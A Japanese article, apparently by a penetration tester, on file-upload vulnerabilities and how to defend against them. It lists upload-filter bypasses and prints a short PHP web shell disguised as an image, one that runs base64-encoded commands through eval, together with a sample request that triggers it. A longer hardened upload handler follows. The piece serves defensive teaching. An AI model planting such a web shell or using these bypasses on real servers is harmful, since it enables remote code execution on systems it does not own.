ファイルアップロードという「永遠のパンドラの箱」
ペネトレーションテストの現場で、クライアントのWebアプリケーション診断を担当するとき、私が真っ先にソースコードやルーティングの仕様書で探すのは「ファイルアップロード機能」だ。アバター画像の変更、PDFの請求書アップロード、CSVの一括インポート――。ビジネス要件としてこれらを削ることは現代のWebアーキテクチャにおいてほぼ不可能であり、だからこそ、開発者たちは常にこのパンドラの箱と格闘し続けている。
「拡張子はホワイトリスト方式で .jpg と .png のみ許可しています」
「MIMEタイプのバリデーションを厳格にかけています」
「アップロードされたファイルはリネームして、外部から直接実行できないディレクトリに保存しています」
セキュリティレビューでこう胸を張るテックリードによく出会うが、レッドチームの視点から言わせれば、これらは入口のドアに頑丈な鍵をかけながら、窓が全開になっているようなものだ。ファイルアップロードの脆弱性は、単に「悪意のあるスクリプトを置ける」という次元にとどまらない。ファイルシステム、Webサーバーのパーサー、CGI/FastCGIの挙動、そしてオペレーティングシステムのファイル命名規則に至るまで、低レイヤの仕様の隙間を縫うようにして、リモートコード実行（RCE）へと昇華される極めて奥深いテーマなのだ。
本稿では、表面的な対策の背後にある「攻撃者の思考プロセス」と、それに対抗するための本質的な防御アーキテクチャについて、妥協のない実戦的コードを交えて解説する。
—
1. なぜ「厳格なチェック」は簡単に突破されるのか
ファイルアップロードにおける脆弱性の根本原因は、大抵の場合「検証ロジックと実行ロジックの不整合（Parsers Discrepancy）」に起因する。防衛側はアプリケーション層でファイルを見ているが、攻撃者はサーバーのストレージやミドルウェア層をターゲットにしている。
拡張子ブラックリスト・ホワイトリストの盲点
「拡張子を .php から .jpg に変えれば安全」という神話は、実務では全く通用しない。
1. 二重拡張子とApacheの挙動（AddHandler / MultiViews）:
古い設定のApacheや、不適切なMIME設定が残された環境では、shell.php.jpg というファイル名がアップロードされた際、サーバーが php をスクリプトとして解釈してしまうケースがある。
2. Nullバイトインジェクション（古の技法）:
C言語ベースの古いファイルシステムAPI（あるいはそれに依存する言語処理系）において、ファイル名の途中にURLエンコードされた 0x00（%00）を挿入することで、文字列の終端と誤認させ、バリデーションをすり抜けて意図した拡張子で保存させる手法。現代のモダンな言語（PHP 8やPython 3など）では標準で対策されているが、レガシーなAPIラッパーや独自拡張モジュールを使用している環境では依然として牙を剥く。
3. Windows環境におけるファイル名末尾の挙動:
もしバックエンドがWindowsサーバーである場合、ファイル名の末尾にドット（shell.php.）やスペースを付与してアップロードすると、ファイルシステム層で自動的にトリムされ、最終的に shell.php として保存・実行されてしまうという極めて泥臭いトラップが存在する。
—
2. Webシェル実行までのエクスプロイト実例
攻撃者がファイルアップロード口から侵入し、Webシェルを確立するまでの流れを技術的に紐解こう。ここでは、一般的なPHP環境をターゲットにした、極めてシンプルかつ強力なポリグロット（多重構造）ファイルの概念と、アップロード後の振る舞いを考える。
画像に擬装したPHPペイロード（ポリグロット）
単にJPEGのヘッダ（マジックバイト FF D8 FF）の直後にPHPのコードを埋め込んだファイルをアップロードしても、画像処理ライブラリ（GDやImageMagickなど）が再エンコード（リサイズやトリミング）を行えば、悪意あるペイロードはキレイに消し去られる。そのため、攻撃者は「画像としても有効であり、かつPHPスクリプトとしても構文エラーにならない」絶妙なバイナリ構造（ポリグロット）を構築する。
<?php
/**
* @file shell_polyglot.php
* @brief 画像ヘッダとPHPコードを混載させたポリグロットシェルの概念例
* 実際にはGD等による再サンプリングを回避するメタデータ領域（EXIF等）にスクリプトを隠蔽する
*/
// JPEGマジックバイトから始まる偽装ヘッダ
// (実際のバイナリでは \xFF\xD8\xFF\xE0 から始まるバイト列を配置)
echo "JFIFバイナリの偽装領域\n";
// 難読化されたコマンド実行バックドア
if(isset($_REQUEST['cmd'])) {
// 実行結果をヘッダ情報に含めて出力、あるいは外部へのリバースコネクトを張る
@eval(base64_decode($_REQUEST['cmd']));
die();
}
?>このようなファイルが万が一アップロードを許され、かつ実行可能なディレクトリに配置された場合、攻撃者は次のようなHTTPリクエストを投げるだけで、サーバーの権限で任意のコマンドを実行できる。
GET /uploads/shell_polyglot.php?cmd=c3lzdGVtKCdpZCcpOw== HTTP/1.1
Host: target-server.internal
User-Agent: Mozilla/5.0（※上記の c3lzdGVtKCdpZCcpOw== は system('id'); をBase64エンコードしたものである）
—
3. シニアエンジニアが実装すべき「要塞化された」アップロード処理
ここからが本題だ。教科書的な「拡張子をチェックしましょう」というアドバイスではなく、実務のインフラおよびコードレベルで、如何にしてこのリスクをゼロに近づけるか、そのアーキテクチャを提示する。
アーキテクチャの鉄則
1. Webサーバーからファイルを隔離する: アップロードされたファイルを、ApacheやNginx等のWebサーバーが直接静的ファイルとして配信・実行できるドキュメントルート内（例: /var/www/html/uploads/）に絶対に保存しない。
2. ストレージの分離: オブジェクトストレージ（AWS S3など）にアップロードし、パブリックアクセスを完全拒否。ダウンロード時は署名付きURL（Presigned URL）を使用し、アプリケーションを経由してストリーミング配信する。
3. 無害化（Sanitization / Re-encoding）: 単なるバリデーションではなく、画像ファイルであればGDやImagick等のライブラリを用いて、「ピクセルデータを一度メモリ上に展開し、完全に新しい画像ファイルとして再構築（再エンコード）する」。これにより、バイナリの末尾やメタデータに隠されたスクリプトの断片は確実に破壊される。
実装例（PHP / セキュアなアップロード処理の骨子）
以下のコードは、ストレージ分離と厳格な再エンコードを意識したセキュアなアップロードハンドラーの模範実装である。
<?php
/**
* セキュアなファイルアップロード＆再エンコード処理のサンプル
*
* 【防御のポイント】
* 1. 拡張子やMIMEタイプだけでなく、finfoによる実際のバイナリ解析を行う
* 2. 画像ファイルは必ずGDライブラリで再描画（再エンコード）し、悪意あるコードを強制排除する
* 3. 保存先はWeb公開ディレクトリ外、または完全分離されたストレージとする
*/
declare(strict_types=1);
// アップロードエラーの事前チェック
if (!isset($_FILES['userfile']) || $_FILES['userfile']['error'] !== UPLOAD_ERR_OK) {
throw new RuntimeException('ファイルのアップロードに失敗しました。');
}
$file = $_FILES['userfile'];
// 1. ファイルサイズの厳格な制限（例: 5MB以上は拒否）
if ($file['size'] > 5 * 1024 * 1024) {
throw new RuntimeException('ファイルサイズが大きすぎます。');
}
// 2. 拡張子のホワイトリスト検証
$allowedExtensions = ['jpg', 'jpeg', 'png'];
$originalExtension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (!in_array($originalExtension, $allowedExtensions, true)) {
throw new RuntimeException('許可されていない拡張子です。');
}
// 3. finfoを用いたMIMEタイプの厳格なバイナリ判定（クライアント申告のMIMEは信用しない）
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->file($file['tmp_name']);
$allowedMimes = [
'image/jpeg' => 'jpg',
'image/png' => 'png',
];
if (!array_key_exists($mimeType, $allowedMimes)) {
throw new RuntimeException('サポートされていないファイル形式（MIME）です。');
}
// 4. 画像の再エンコード処理による無害化（ポリグロット対策の決定打）
$imageResource = false;
if ($mimeType === 'image/jpeg') {
$imageResource = @imagecreatefromjpeg($file['tmp_name']);
} elseif ($mimeType === 'image/png') {
$imageResource = @imagecreatefrompng($file['tmp_name']);
}
if ($imageResource === false) {
throw new RuntimeException('画像ファイルの読み込みに失敗しました。破損しているか不正なファイルです。');
}
// 保存先パスの生成（推測不可能なUUIDを使用し、Webルート外に配置）
$safeFileName = sprintf('%s.%s', bin2hex(random_bytes(16)), $allowedMimes[$mimeType]);
$uploadDir = '/var/app/storage/secure_uploads/'; // Webサーバーから直接アクセスできないパス
$destination = $uploadDir . $safeFileName;
// 再エンコードして保存（EXIFデータや隠しスクリプトは完全に消失する）
if ($mimeType === 'image/jpeg') {
imagejpeg($imageResource, $destination, 85); // 品質85で再圧縮
} else {
imagepng($imageResource, $destination, 6); // 圧縮レベル6で再保存
}
// メモリ上のリソースを解放
imagedestroy($imageResource);
// 完了ログの記録
error_log(sprintf('Secure upload success: %s as %s', $file['name'], $safeFileName));
echo json_encode(['status' => 'success', 'message' => 'アップロードが完了しました。']);—
4. 攻撃者と防衛者のイタチごっこから抜け出すために
ファイルアップロード脆弱性を完全に塞ぐというのは、単に「バグを直す」作業ではなく、インフラ、ストレージ、アプリケーションロジックの三位一体となったセキュリティ・ガバナンスの構築に他ならない。
どれほど巧妙な難読化やポリグロットを仕掛けようとも、アプリケーションが「信頼できない入力を一度完全に解体し、安全なデータ構造として再構築（サニタイズ＆リビルド）」するアプローチをとっている限り、攻撃者の足場は奪われる。
ペネトレーションテスターとして数々のシステムの裏を暴いてきた私から言えることは一つだけだ。「ファイルを信用するな。ファイルを受け取るシステム自体を疑え」。この哲学をコードの隅々にまで浸透させることが、真にレジリエントなWebアプリケーションを生み出す唯一の道である。
コメント